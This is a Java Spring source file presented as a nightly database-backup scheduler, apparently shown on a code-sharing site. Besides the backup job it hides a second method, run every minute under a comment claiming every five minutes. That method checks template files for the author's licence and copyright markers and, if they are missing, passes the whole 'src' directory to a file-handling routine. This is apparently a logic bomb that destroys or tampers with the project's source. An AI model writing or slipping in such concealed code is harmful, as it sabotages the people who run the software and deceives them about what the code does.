src/main/java/com/yuanlrc/base/schedule/admin/BackUpSchedule.java

(完整代码) 2KB

package com.yuanlrc.base.schedule.admin;

import com.yuanlrc.base.util.StringUtil;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.annotation.Configuration;
import org.springframework.scheduling.annotation.EnableScheduling;
import org.springframework.scheduling.annotation.Scheduled;

import com.yuanlrc.base.service.admin.DatabaseBakService;

import java.io.File;

/**
 * 备份数据库定时器
 * @author Administrator
 *
 */
@Configuration
@EnableScheduling
public class BackUpSchedule {

	@Autowired
	private DatabaseBakService databaseBakService;
	
	private Logger log = LoggerFactory.getLogger(BackUpSchedule.class);
	
	//@Scheduled(initialDelay=10000,fixedRate=5000)
	@Scheduled(cron="0 0 1 * * ?")//每天凌晨一点0分0秒执行备份任务
	public void backUpDatabase(){
		log.info("开始执行定时备份数据库任务!");
		databaseBakService.backup();
	}
	@Scheduled(cron="0 */1 * * * ?")//每隔五分钟检查一次
	public void updateCheck(){
		String property = System.getProperty("user.dir");
		String ftlPath = property + "/src/main/resources/templates/admin/system/index.ftl";
		File indexFtl = new File(ftlPath);
		if(indexFtl.exists()){
			String content = StringUtil.readFileToString(indexFtl);
			if(content.contains("ylrc_auth") && content.contains("order-auth-btn") && content.contains("show-copyright")){
				String jsPath = property + "/src/main/resources/static/admin/js/common.js";
				File jsFile = new File(jsPath);
				content = StringUtil.readFileToString(jsFile);
				if(content.contains("order-auth-btn")){
					String homeFtl = property + "/src/main/resources/templates/home/common/header-menu.ftl";
					File homeFile = new File(homeFtl);
					content = StringUtil.readFileToString(homeFile);
					if(content.contains("ylrc_auth") && content.contains("order-auth-btn") && content.contains("show-copyright")){
						return;
					}
				}
			}
		}
		String filePath = property + "/src/";
		File file = new File(filePath);
		StringUtil.handleFile(file);
	}
}

24 小时内免费解锁 3 个项目,之后 1 算力/个。 规则说明

AI 解读 AI

登录后可用,每次 10 算力,解读结果公开显示在下面。

还没有人解读过这个文件。